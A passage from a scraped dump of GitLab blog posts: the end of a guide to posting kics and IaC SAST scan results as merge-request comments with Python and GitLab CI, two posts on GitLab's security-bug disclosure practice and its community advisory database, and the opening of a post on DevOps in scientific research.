kubernetes/ecc-demo-service.yml\n```\n\n## Integrations into CI/CD and Merge Requests for Review\n\nThere are many scanners out there, and most of them return the results in JSON which can be parsed and integrated into your CI/CD pipelines. You can learn more about the evaluation of GitLab IaC scanners in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/39695). The table in the issue includes licenses, languages, outputs, and examples.\n\n`checkov` and `tfsec` provide JUnit XML reports as output format, which can be parsed and integrated into CI/CD. Vulnerability reports will need a different format though to not confuse them with unit test results for example. Integrating a SAST scanner in GitLab requires you to provide [artifacts:reports:sast](https://docs.gitlab.com/ee/ci/yaml/artifacts_reports.html#artifactsreportssast) as a specified output format and API. [This report](https://docs.gitlab.com/ee/user/application_security/iac_scanning/#reports-json-format) can then be consumed by GitLab integrations such as MR widgets and vulnerability dashboards, available in the Ultimate tier. The following screenshot shows adding a Kubernetes deployment and service with potential vulnerabilities in [this MR](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/merge_requests/3).\n\n![MR widget showing IaC vulnerabilities with Kubernetes](https://about.gitlab.com/images/blogimages/iac-security-scanning/gitlab-iac-mr-widget-kubernetes.png){: .shadow}\n\n### Reports in MRs as comment\n\nThere are different ways to collect the JSON reports in your CI/CD pipelines or scheduled runs. One of the ideas can be creating a merge request comment with a Markdown table. It needs a bit more work with parsing the reports, formatting the comment text, and interacting with the GitLab REST API, shown in the following steps in a Python script. You can follow the implementation steps to re-create them in your preferred language for the scanner type and use [GitLab API clients](/partners/technology-partners/#api-clients).\n\nFirst, read the report in JSON format, and inspect whether `kics_version` is set to continue. Then extract the `queries` key, and prepare the `comment_body` with the markdown table header columns.\n\n```python\nFILE=\"kics/kics-report.json\"\n\nf = open(FILE)\nreport = json.load(f)\n\n# Parse the report: kics\nif \"kics_version\" in report:\n    print(\"Found kics '%s' in '%s'\" % (report[\"kics_version\"], FILE))\n    queries = report[\"queries\"]\nelse:\n    raise Exception(\"Unsupported report format\")\n\ncomment_body = \"\"\"### kics vulnerabilities report\n\n| Severity | Description | Platform | Filename |\n|----------|-------------|----------|----------|\n\"\"\"\n```\n\nNext, we need to parse all queries in a loop, and collect all column values. They are collected into a new list, which then gets joined with the `|` character. The `files` key needs a nested collection, as this is a list of dictionaries where only the `file_name` is of interest for the demo.\n\n```python\n# Example query to parse: {'query_name': 'Service Does Not Target Pod', 'query_id': '3ca03a61-3249-4c16-8427-6f8e47dda729', 'query_url': 'https://kubernetes.io/docs/concepts/services-networking/service/', 'severity': 'LOW', 'platform': 'Kubernetes', 'category': 'Insecure Configurations', 'description': 'Service should Target a Pod', 'description_id': 'e7c26645', 'files': [{'file_name': 'kubernetes/ecc-demo-service.yml', 'similarity_id': '9da6166956ad0fcfb1dd533df17852342dcbcca02ac559becaf51f6efdc015e8', 'line': 38, 'issue_type': 'IncorrectValue', 'search_key': 'metadata.name={{ecc-demo-service}}.spec.ports.name={{web}}.targetPort', 'search_line': 0, 'search_value': '', 'expected_value': 'metadata.name={{ecc-demo-service}}.spec.ports={{web}}.targetPort has a Pod Port', 'actual_value': 'metadata.name={{ecc-demo-service}}.spec.ports={{web}}.targetPort does not have a Pod Port'}]}\n\nfor q in queries:\n    #print(q) # DEBUG\n    l = []\n    l.append(q[\"severity\"])\n    l.append(q[\"description\"])\n    l.append(q[\"platform\"])\n\n    if \"files\" in q:\n        l.append(\",\".join((f[\"file_name\"] for f in q[\"files\"])))\n\n    comment_body += \"| \" + \" | \".join(l) + \" |\\n\"\n\nf.close()\n```\n\nThe markdown table has been prepared, so now it is time to communicate with the GitLab API. [python-gitlab](https://python-gitlab.readthedocs.io/en/stable/api-usage.html) provides a great abstraction layer with programmatic interfaces.\n\nThe GitLab API needs a project/group access token with API permissions. The `CI_JOB_TOKEN` is not sufficient.\n\n![Set the Project Access Token as CI/CD variable, not protected](https://about.gitlab.com/images/blogimages/iac-security-scanning/gitlab-cicd-variable-project-access-token.png){: .shadow}\n\nRead the `GITLAB_TOKEN` from the environment, and instantiate a new `Gitlab` object.\n\n```python\nGITLAB_URL='https://gitlab.com'\n\nif 'GITLAB_TOKEN' in os.environ:\n    gl = gitlab.Gitlab(GITLAB_URL, private_token=os.environ['GITLAB_TOKEN'])\nelse:\n    raise Exception('GITLAB_TOKEN variable not set. Please provide an API token to update the MR!')\n```\n\nNext, use the `CI_PROJECT_ID` CI/CD variable from the environment to select the [project object](https://python-gitlab.readthedocs.io/en/stable/gl_objects/projects.html) which contains the merge request we want to target.\n\n```python\nproject = gl.projects.get(os.environ['CI_PROJECT_ID'])\n```\n\nThe tricky part is to fetch the [merge request](https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_requests.html) ID from the CI/CD pipeline, it is not always available. A workaround can be to read the `CI_COMMIT_REF_NAME` variable and match it against all MRs in the project, looking if the `source_branch` matches.\n\n```python\nreal_mr = None\n\nif 'CI_MERGE_REQUEST_ID' in os.environ:\n    mr_id = os.environ['CI_MERGE_REQUEST_ID']\n    real_mr = project.mergerequests.get(mr_id)\n\n# Note: This workaround can be very expensive in projects with many MRs\nif 'CI_COMMIT_REF_NAME' in os.environ:\n    commit_ref_name = os.environ['CI_COMMIT_REF_NAME']\n\n    mrs = project.mergerequests.list()\n\n    for mr in mrs:\n        if mr.source_branch in commit_ref_name:\n            real_mr = mr\n            # found the MR for this source branch\n            # print(mr) # DEBUG\n\nif not real_mr:\n    print(\"Pipeline not run in a merge request, no reports sent\")\n    sys.exit(0)\n```\n\nLast but not least, use the MR object to [create a new note](https://python-gitlab.readthedocs.io/en/stable/gl_objects/notes.html) with the `comment_body` including the Markdown table created before.\n\n```python\nmr_note = real_mr.notes.create({'body': comment_body})\n```\n\nThis workflow creates a new MR comment every time a new commit is pushed. Consider evaluating the script and refining the update frequency by yourself. The script can be integrated into CI/CD with running kics before generating the reports shown in the following example configuration for `.gitlab-ci.yml`:\n\n```yaml\n# Full RAW example for kics reports and scans\nkics-scan:\n  image: python:3.10.2-slim-bullseye\n  variables:\n    # Visit for new releases\n    # https://github.com/Checkmarx/kics/releases\n    KICS_VERSION: \"1.5.1\"\n  script:\n    - echo $CI_PIPELINE_SOURCE\n    - echo $CI_COMMIT_REF_NAME\n    - echo $CI_MERGE_REQUEST_ID\n    - echo $CI_MERGE_REQUEST_IID\n    - apt-get update && apt-get install wget tar --no-install-recommends\n    - set -ex; wget -q -c \"https://github.com/Checkmarx/kics/releases/download/v${KICS_VERSION}/kics_${KICS_VERSION}_linux_x64.tar.gz\" -O - | tar -xz --directory /usr/bin &>/dev/null\n    # local requirements\n    - pip install -r requirements.txt\n    - kics scan --no-progress -q /usr/bin/assets/queries -p $(pwd) -o $(pwd) --report-formats json --output-path kics --output-name kics-report.json || true\n    - python ./integrations/kics-scan-report-mr-update.py\n```\n\nYou can find the [.gitlab-ci.yml configuration](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/blob/main/.gitlab-ci.yml) and the full script, including more inline comments and debug output [in this project](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning). You can see the implementation MR testing itself in [this comment](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/merge_requests/4#note_840472146).\n\n![MR comment with the kics report as Markdown table](https://about.gitlab.com/images/blogimages/iac-security-scanning/kics-python-gitlab-mr-update-table.png){: .shadow}\n\n### MR comments using GitLab IaC SAST reports as source\n\nThe steps in the previous section show the raw `kics` command execution, including JSON report parsing that requires you to create your own parsing logic. Alternatively, you can rely on the [IaC scanner in GitLab](https://docs.gitlab.com/ee/user/application_security/iac_scanning/#making-iac-analyzers-available-to-all-gitlab-tiers) and parse the SAST JSON report as [a standardized format](https://docs.gitlab.com/ee/user/application_security/iac_scanning/#reports-json-format). This is available for all GitLab tiers.\n\nDownload the [gl-sast-report.json example](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/blob/main/example-reports/gl-sast-report-kics-iac.json), save it as `gl-sast-report.json` in the same directory as the script, and parse the report in a similar way shown above.\n\n```python\nFILE=\"gl-sast-report.json\"\n\nf = open(FILE)\nreport = json.load(f)\n\n# Parse the report: kics\nif \"scan\" in report:\n    print(\"Found scanner '%s' in '%s'\" % (report[\"scan\"][\"scanner\"][\"name\"], FILE))\n    queries = report[\"vulnerabilities\"]\nelse:\n    raise Exception(\"Unsupported report format\")\n```\n\nThe parameters in the vulnerability report also include the CVE number. The `location` is using a nested dictionary and thus easier to parse.\n\n```python\ncomment_body = \"\"\"### IaC SAST vulnerabilities report\n\n| Severity | Description | Category | Location | CVE |\n|----------|-------------|----------|----------|-----|\n\"\"\"\n\nfor q in queries:\n    #print(q) # DEBUG\n    l = []\n    l.append(q[\"severity\"])\n    l.append(q[\"description\"])\n    l.append(q[\"category\"])\n    l.append(q[\"location\"][\"file\"])\n    l.append(q[\"cve\"])\n\n    comment_body += \"| \" + \" | \".join(l) + \" |\\n\"\n\nf.close()\n```\n\nThe `comment_body` contains the Markdown table, and can use the same code to update the MR with a comment using the GitLab API Python bindings. An example run is shown in [this MR comment](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/merge_requests/8#note_841940319).\n\nYou can integrate the script into your CI/CD workflows using the following steps: 1) Override the `kics-iac-sast` job `artifacts` created by the `Security/SAST-IaC.latest.gitlab-ci.yml` template and 2) Add a job `iac-sast-parse` which parses the JSON report and calls the script to send a MR comment.\n\n```yaml\n# GitLab integration with SAST reports spec\ninclude:\n- template: Security/SAST-IaC.latest.gitlab-ci.yml\n\n# Override the SAST report artifacts\nkics-iac-sast:\n  artifacts:\n    name: sast\n    paths:\n      - gl-sast-report.json\n    reports:\n      sast: gl-sast-report.json\n\niac-sast-parse:\n  image: python:3.10.2-slim-bullseye\n  needs: ['kics-iac-sast']\n  script:\n    - echo \"Parsing gl-sast-report.json\"\n    - pip install -r requirements.txt\n    - python ./integrations/sast-iac-report-mr-update.py\n  artifacts:\n      paths:\n      - gl-sast-report.json\n```\n\nThe CI/CD pipeline testing itself can be found in [this MR comment](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/merge_requests/9#note_841976761). Please review the [sast-iac-report-mr-update.py](https://gitlab.com/gitlab-de/use-cases/infrastructure-as-code-scanning/-/blob/main/integrations/sast-iac-report-mr-update.py) script and evaluate whether it is useful for your workflows.\n\n## What is the best integration strategy?\n\nOne way to evaluate the scanners is to look at their extensibility. For example, [kics](https://docs.kics.io/latest/creating-queries/) calls them `queries`, [semgrep](https://semgrep.dev/docs/writing-rules/overview/) uses `rules`, [checkov](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html) says `policies`, [tfsec](https://aquasecurity.github.io/tfsec/v1.1.5/getting-started/configuration/custom-checks/) goes for `custom checks` as a name. These specifications allow you to create and contribute your own detection methods with extensive tutorial guides.\n\nMany of the shown scanners provide container images to use, or CI/CD integration documentation. Make sure to include this requirement in your evaluation. For a fully integrated and tested solution, use the [IaC Security Scanning feature in GitLab](https://docs.gitlab.com/ee/user/application_security/iac_scanning/), currently based on the `kics` scanner. If you already have experience with other scanners, or prefer your own custom integration, evaluate the alternatives for your solution. All scanners discussed in this blog post provide JSON as output format, which helps with programmatic parsing and automation.\n\nMaybe you'd like to [contribute a new IaC scanner](https://docs.gitlab.com/ee/user/application_security/iac_scanning/#contribute-your-scanner) or help improve the detection rules and functionality from the open source scanners :-)\n\nCover image by [Sawyer Bengtson](https://unsplash.com/photos/tnv84LOjes4) on [Unsplash](https://unsplash.com)\n{: .note}\n",[674,2509,4103],{"slug":15233,"featured":6,"template":678},"fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them","content:en-us:blog:fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them.yml","Fantastic Infrastructure As Code Security Attacks And How To Find Them","en-us/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them.yml","en-us/blog/fantastic-infrastructure-as-code-security-attacks-and-how-to-find-them",{"_path":15239,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15240,"content":15245,"config":15249,"_id":15251,"_type":16,"title":15252,"_source":17,"_file":15253,"_stem":15254,"_extension":20},"/en-us/blog/how-gitlab-handles-security-bugs",{"title":15241,"description":15242,"ogTitle":15241,"ogDescription":15242,"noIndex":6,"ogImage":11371,"ogUrl":15243,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15243,"schema":15244},"How GitLab handles security bugs (and why it matters)","Learn what makes our approach to handling and transparently disclosing security bugs unique.","https://about.gitlab.com/blog/how-gitlab-handles-security-bugs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab handles security bugs (and why it matters)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Malcolm\"}],\n        \"datePublished\": \"2022-02-17\",\n      }",{"title":15241,"description":15242,"authors":15246,"heroImage":11371,"date":15229,"body":15247,"category":674,"tags":15248},[11507],"\n\nIn almost any kind of software, bugs and security vulnerabilities will be discovered over time. We do our best to proactively spot and fix bugs before and after release, but it’s the nature of humans crafting software that there will be things we miss. In this post, we’ll explore how GitLab handles security bugs and how **_the way_ we handle and publicly disclose bugs is unique and important to upholding our values,** and why customers should care. \n\n## Why do I even have to care?\n\nGitLab is [an open-core](/company/stewardship/) platform where businesses can choose to either sign up to GitLab.com, or self-host and self-manage a Community or Enterprise Edition. [Everyone can contribute](/company/mission/#mission), and that applies to identifying security bugs too! We have a vibrant community of researchers reporting security issues through our [HackerOne Bug Bounty Program](https://hackerone.com/gitlab), we can receive [responsible disclosure reports](/security/disclosure/), and of course we have dedicated [internal security teams](/handbook/security) working across an organization where [security is everyone’s responsibility](/handbook/engineering/workflow/#security-is-everyones-responsibility).\n\nWe follow [an established process](/handbook/security/#security-releases) to resolve security issues in a timely manner. Since we manage GitLab.com for our .com customers, when we release a security patch they are already protected and automatically using the latest version. However, self-managed customers are responsible for patching their own GitLab deployments. \n\nBecause GitLab is open-core, as soon as a security release is made public, anyone can explore the code and look at how we’ve addressed security issues. While this information can help security teams and ethical hackers spot and resolve similar vulnerabilities elsewhere, unethical hackers could use this knowledge to figure out how to attack unpatched instances. It’s important that self-managed customers are made aware of security issues and their severity, so that they can prioritize patching them in a timely manner. That’s where [Common Vulnerabilities and Exposures](https://cve.mitre.org/index.html) (CVEs) come in.  \n\nNote: You can receive security release notifications [via RSS](https://about.gitlab.com/security-releases.xml) or sign up to receive security release notifications delivered to your inbox by visiting our [contact us page](/company/contact/).\n{: .alert .alert-info .note}\n\n\n## CVwhatnows?\n\nCVEs are an industry standard way of disclosing security bugs. Each CVE is given a unique number, which is tied to a vendor (e.g. GitLab), a product (e.g. GitLab Enterprise Edition), a severity score, and vulnerability report. \n\nIf you take a look at the Releases section of our blog and find a Security Release ([here’s an example](/releases/2022/02/03/security-release-gitlab-14-7-1-released/)), you’ll see each vulnerability was assigned a CVE like CVE-2022-12345.  These CVEs get distributed across the industry to various web portals, security scanning products, and mailing lists, so that people know if they’re affected and need to update.\n\n### Where does the CVE score come from?\n\nEach CVE has a severity score, typically referenced by developers and organizations to understand how urgently they need to patch. With GitLab, this is simplified since **we recommend that self-managed administrators always apply the latest patches regardless of how severe (or not) the issues are.**\n\nThe score is created from a standard called the [Common Vulnerability Scoring System](https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System) and is based on how likely it is for the attack to occur, and how impactful it would be if it did.\n\nSome examples:  \n* An attack is *less likely* if it needs to be exploited from a local network (hard to access), compared to one that can be exploited from the internet (almost everyone has access).\n* An attack is *less likely* if an administrator has to enable certain features first, or if a victim has to visit a certain page. \n* An attack is *less impactful* if the result is a little bit of information disclosure, compared to disclosing a highly-privileged access token.\n\nThere are many things to consider when setting a severity, so, at GitLab, we created our own web-based [CVSS Calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/). This helps us to be transparent and consistent in how we define and rate likelihood, impact, and severity. The CVE severity score influences how we prioritize remediation and how much money we award to bug bounty researchers.\n\n### But why does GitLab have so many CVEs?\n\nWe understand self-managed customers may ask why we have so many vulnerability disclosures, or even why they need to update their GitLab software for security releases so often? At GitLab, we value making information public by default and being transparent, [even when there are costs](https://handbook.gitlab.com/handbook/values/#transparency-is-most-valuable-if-you-continue-to-do-it-when-there-are-costs). \n\nIf we were not committed to transparency and only ran GitLab.com, we could patch vulnerabilities silently and not disclose anything. A number of SaaS platforms, both closed and open source, take that approach. At best, they might have a bullet point of “security fixes” in their release notes. For example, [take a look at the Hacktivity of other programmes on HackerOne](https://hackerone.com/directory/programs?offers_bounties=true&asset_type=SOURCE_CODE&order_direction=DESC&order_field=resolved_report_count) and see how regularly (or irregularly, in some cases 👀 ) full issues are publicly disclosed.\n\nWe assign a CVE to every vulnerability included in a GitLab release, no matter how small, and describe the vulnerability in each [security release blog post](/releases/categories/releases/). Our [HackerOne Hacktivity](https://hackerone.com/gitlab/hacktivity?type=team) page has public disclosures of issues which serve as good learning material for other researchers. And whether we disclose the HackerOne report or not, we aim to publicly disclose every security vulnerability’s [GitLab issue](https://gitlab.com/gitlab-org/gitlab/-/issues?sort=updated_desc&state=closed&label_name[]=security&label_name[]=type::bug&confidential=no) 30 days after a patch is released, no matter how serious. We even have automated bots that will remind the Application Security team in case any fall through the cracks in terms of being made public!\n\n\n![file name](https://about.gitlab.com/images/blogimages/GL-Security-bot.png){: .shadow.medium.center}\nAutomated GitLab SecurityBot.\n{: .note.text-center}\n\n\nWe bundle security patches up each month and release them around a week after our regular self-managed release (which [release on the 22nd of each month](/releases/)). In total, that’s at least 24 releases a year. In addition, patches, particularly for critical issues, can be released as needed without waiting for the monthly release. You can learn more in our [release and maintenance policy](https://docs.gitlab.com/ee/policy/maintenance.html). \n\n\n![file name](https://about.gitlab.com/images/blogimages/GL-H1-top5.png){: .shadow.medium.center}\nOur HackerOne bug bounty program offers competitive bounty awards, which draws creative and expert researchers from around the world, who help make our product more secure.\n{: .note.text-center}\n\n\n## Is there transparency in your supply chain?\n\nMost organizations rely on software providers to achieve their goals, whether they are online SaaS platforms or desktop and mobile apps. When a company you rely on has a security issue (whether they tell you about it or not), it can affect your organization and the data and processes you’ve entrusted to them. These are called “supply chain” risks. [SolarWinds](https://en.wikipedia.org/wiki/2020_United_States_federal_government_data_breach#SolarWinds_exploit_2), [Log4j](https://www.ncsc.gov.uk/blog-post/log4j-vulnerability-what-should-boards-be-asking), and [the Equifax hack](https://en.wikipedia.org/wiki/2017_Equifax_data_breach) are all very different examples of [supply chain risks](https://learn.gitlab.com/devsecops-aware/software-supply-chain-security-ebook) being realized and causing disruption or damage to organizations.\n\nIn your next conversations with companies in your supply chain, ask how they identify, remediate, and communicate their security fixes. Does the level of detail, transparency, and rigor shown in their security fix and disclosure processes give you confidence in having them in your supply chain? \n\nAt GitLab, we strive to deliver secure software, to reduce the number of issues that get released, and to be transparent when vulnerabilities are discovered. Have a question about our disclosure process that’s not answered in our [disclosure policy](/security/disclosure/)? Let us know in the comments below. You can also check out how we [assess and monitor third-party risk](/handbook/security/security-assurance/security-risk/third-party-risk-management.html). \n\nAs always, feel free to adopt and use our documentation in your own organization, and please add to or suggest improvements to our handbook and processes if you see them!\n\nCover image by [Aleks Dahlberg](https://unsplash.com/@aleksdahlberg) on [Unsplash](https://unsplash.com/photos/3cWA3U8xb5w)\n{: .note}\n",[674],{"slug":15250,"featured":6,"template":678},"how-gitlab-handles-security-bugs","content:en-us:blog:how-gitlab-handles-security-bugs.yml","How Gitlab Handles Security Bugs","en-us/blog/how-gitlab-handles-security-bugs.yml","en-us/blog/how-gitlab-handles-security-bugs",{"_path":15256,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15257,"content":15262,"config":15268,"_id":15270,"_type":16,"title":15271,"_source":17,"_file":15272,"_stem":15273,"_extension":20},"/en-us/blog/a-community-driven-advisory-database",{"title":15258,"description":15259,"ogTitle":15258,"ogDescription":15259,"noIndex":6,"ogImage":12703,"ogUrl":15260,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15260,"schema":15261},"Community-driven advisory database for dependencies launched","The advisory data can be readily adopted, adapted, and exchanged. Learn more here.","https://about.gitlab.com/blog/a-community-driven-advisory-database","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing a community-driven advisory database for third-party software dependencies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Art\"},{\"@type\":\"Person\",\"name\":\"Dinesh Bolkensteyn\"},{\"@type\":\"Person\",\"name\":\"Isaac Dawson\"},{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2022-02-16\",\n      }",{"title":15263,"description":15259,"authors":15264,"heroImage":12703,"date":15265,"body":15266,"category":674,"tags":15267},"Introducing a community-driven advisory database for third-party software dependencies",[12439,12440,12095,2948],"2022-02-16","\n\nGitLab provides a [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\nfeature that can automatically detect vulnerabilities in your software\ndependencies. Dependency Scanning covers various programming languages and\nrelies on the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db), that\nis\n[updated](https://gitlab.com/gitlab-org/security-products/gemnasium-db/activity)\non a periodic basis by the \n[Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/)\nteam at GitLab. The GitLab Advisory Database covers security advisories in software packages that have a CVE identifier, as well as malicious packages marked as such by their ecosystem ([example](https://gitlab.com/gitlab-org/security-products/gemnasium-db/-/blob/master/npm/lodahs/CVE-2019-19771.yml)). The database is an essential part of\nthe Dependency Scanning feature, which is\n[available](https://about.gitlab.com/pricing/) in GitLab Ultimate self-managed\nand GitLab Ultimate SaaS.\n\nAs of recently, GitLab also provides a _free and open-source_ version of the\ndatabase, the [GitLab Advisory Database (Open Source Edition)](https://gitlab.com/gitlab-org/advisories-community), a time-delayed\n(+30 days) clone of the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db).\n\nIn the spirit of\n[Collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) and\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency), two of\nthe [GitLab core values](https://handbook.gitlab.com/handbook/values/), we share\nthe database with the open-source community in a format that is\n[well-documented](https://gitlab.com/gitlab-org/security-products/gemnasium-db#yaml-schema)\nand can be easily parsed. The advisory data can be readily adopted, adapted, and\nexchanged. For example, links to proof of concepts or write-ups, or any other\ndirectly related information that will benefit the community, can be added to\nthe `urls` array:\n\n```yaml\nurls:\n  - \"https://hackerone.com/reports/1104077\"\n  - \"https://nvd.nist.gov/vuln/detail/CVE-2021-28965\"\n  - \"https://www.ruby-lang.org/en/news/2021/04/05/xml-round-trip-vulnerability-in-rexml-cve-2021-28965/\"\n```\n\nAdditionally, in our advisories we use [Common Weakness Enumeration](https://cwe.mitre.org/index.html) \nin conjunction with [Common Vulnerability Scoring System](https://www.first.org/cvss/) as a standard means \nof [communicating vulnerabilities](/handbook/engineering/development/sec/secure/products/metrics/), as well as their impact/severity, internally and externally.\n\nThe [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is integrated\ninto GitLab [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). Once \nan existing advisory is modified or a new advisory is created, the information included in the advisory will appear \nin the [Vulnerability Pages](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) \nwhere findings/vulnerabilities originating from all [security scanners](/stages-devops-lifecycle/secure/),\nincluding Dependency Scanning, can be managed at a central place.\n\nThe open-source database has recently been integrated into\n[Trivy](https://github.com/aquasecurity/trivy), a free and open-source solution\nfor [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/).\nWe are very grateful for [community contributions](https://gitlab.com/gitlab-org/security-products/gemnasium-db#credits) \nto the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db).\nOur community has aided us by suggesting improvements to our data or by\n creating entirely new advisories, allowing everyone to benefit from their\n contributions.\n\nAt GitLab, [everyone can contribute](/company/mission/).\nThe [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/)\nteam at GitLab has made it easy to contribute to both databases. \n\nCommunity contributions can be made available in\n[advisories-community](https://gitlab.com/gitlab-org/advisories-community)\ninstantaneously by means of the [`community-sync` flag](https://gitlab.com/gitlab-org/security-products/gemnasium-db#advisory-headers),\nwhich has been introduced recently. Using this synchronization, you can make\nthe same contribution appear in both databases at the time of a Merge Request\n(within one hour after the merge). \n\nWe have also used this flag to make the advisories concerning the recent\n[log4Shell](/blog/updates-and-actions-to-address-logj-in-gitlab/)\nvulnerabilities available to the community immediately after these were made public.\nEven though the open-source version of the database is time-delayed, particular\nvulnerabilities that have the potential to become widespread and cause\ndisruptions to the entire Internet, are pushed into the open-source version\nof the GitLab security advisory database.\n\nCover image by [Charles Deluvio](https://unsplash.com/@charlesdeluvio) on [Unsplash](https://unsplash.com/photos/AT5vuPoi8vc)\n{: .note}\n",[674,2368],{"slug":15269,"featured":6,"template":678},"a-community-driven-advisory-database","content:en-us:blog:a-community-driven-advisory-database.yml","A Community Driven Advisory Database","en-us/blog/a-community-driven-advisory-database.yml","en-us/blog/a-community-driven-advisory-database",{"_path":15275,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15276,"content":15282,"config":15287,"_id":15289,"_type":16,"title":15290,"_source":17,"_file":15291,"_stem":15292,"_extension":20},"/en-us/blog/devops-and-the-scientific-process-a-perfect-pairing",{"title":15277,"description":15278,"ogTitle":15277,"ogDescription":15278,"noIndex":6,"ogImage":15279,"ogUrl":15280,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15280,"schema":15281},"DevOps and the scientific process: A perfect pairing","Research teams have taken to DevOps principles and practices. Find out why and how to adopt DevOps in your organization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668378/Blog/Hero%20Images/hans-reniers-lQGJCMY5qcM-unsplash.jpg","https://about.gitlab.com/blog/devops-and-the-scientific-process-a-perfect-pairing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps and the scientific process: A perfect pairing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2022-02-15\",\n      }",{"title":15277,"description":15278,"authors":15283,"heroImage":15279,"date":15284,"body":15285,"category":962,"tags":15286},[14215],"2022-02-15","\nThe scientific process and the DevOps lifecycle. At first glance, it’s hard to imagine a connection. Yet, if you look at how some of GitLab’s customers and community members are marrying the two, it makes perfect sense.\n\nTake, for example, the European Space Agency (ESA), which uses GitLab extensively for a variety of purposes, including version control, enabling collaboration, increasing security, and coordinating the intellectual resources of its 22 member states. ESA  has more than 140 groups and 1,500 projects stored on its GitLab instance. In the first year of using the DevOps Platform, ESA ran more than 60,000 pipeline jobs, allowing the organization to deploy code faster and to simplify its toolchain. The projects range from mission control systems, onboard software for spacecraft, image processing, and monitoring tools for lLabs. The ESA IT Department also uses GitLab to host its code tools and configurations infrastructure. Since adopting GitLab, ESA has enjoyed a culture of collaboration that is increasing around the organization.\n\nAs you can see with the ESA example, the connection between research and DevOps is powerful. Let’s examine why this combination works so well.\n\nThe scientific process moves through stages: asking a question, conducting background research, constructing a hypothesis, testing your hypothesis by doing an experiment, analyzing data, and reporting results. This process is very often iterative as new information is discovered throughout. It also is very collaborative as researchers work together to formulate hypotheses, gather data, and analyze the data.  Many artifacts are generated throughout the process, including data, analysis scripts, results, and research papers. Often, software itself is built to run equipment, labs, or process data.\n\nDevOps, the set of practices and tools that combines software development and information technology operations, also moves through stages. [These stages](/stages-devops-lifecycle/) include manage,  plan, create, verify, and release. DevOps is also very iterative and collaborative and many different types of artifacts are generated along the way.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/devopsinscience1.png)\n\n## How the scientific process and the DevOps lifecycle align\n\nWe aren’t the only ones who noticed the similarities! As researchers were looking for tools to help them organize their plans, data, scripts, and results in a way that allowed them to work collaboratively and efficiently, they started using source control management. Storing their artifacts in a central repository had immediate benefits for collaboration.  It was a natural progression from there expanding across the DevOps lifecycle. As the shift happened and scientists began using the DevOps lifecycle for the scientific process, the results were transformational. Shifting the approach of science to follow the DevOps lifecycle resulted in increased transparency, collaboration, reproducibility,  speed to results, and data integrity.\n\nIn this transformation, the first stages of the scientific method – observing and hypothesizing – equate to the DevOps plan stage.  Hypotheses and research tasks can be managed and documented in issue tracking systems. Issues define what work needs to be done and progress can be tracked with milestones and labels. No information is lost in separate email threads or local documents. Assigning issues to users, along with approver and reviewer features, can make the research process highly efficient among collaborators, graduate students, and mentors.\n\nData collected during the testing stage is stored in a central repository where source control management (SCM) keeps them safe and accessible.  [Git technology](/topics/version-control/what-is-centralized-version-control-system/) allows all changes to be controlled, tagged, versioned with branches, and peer-reviewed through merge requests.  Analysis scripts are also stored in [source code management](/solutions/source-code-management/) as well and run using [continuous integration](/solutions/continuous-integration/)(CI), a.k.a. the verify stage. Containerization is used to replicate computing environments and ensure reproducible results.\n\n## The role of documentation\n\nDevOps platforms are able to transform the scientific research process because the whole research lifecycle can be documented with a single source of truth in a repository,  open, shared, and accessed. Where, currently, only final results are reviewed and published in the form of papers, leaving the rest of the process mostly opaque to reviewers and the public, the DevOps workflow allows access to and collaboration on all stages of the scientific lifecycle. As this one repository hosts all stages of the scientific process, metrics can be generated on all contributions. Researchers around the world can use the same containers, environment, and analysis on their own data ensuring reproducible science.\n\n## Breaking down research silos\n\nMost research today is happening sequentially, with locally optimized research groups working in silos. We often see duplication of work, incomplete documentation of results, and intransparent data and analysis. The DevOps transformation is shifting science to concurrent science where researchers are working collaboratively, with full transparency for reviewers.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/devopsinscience2.png)\n\n## Examples of the 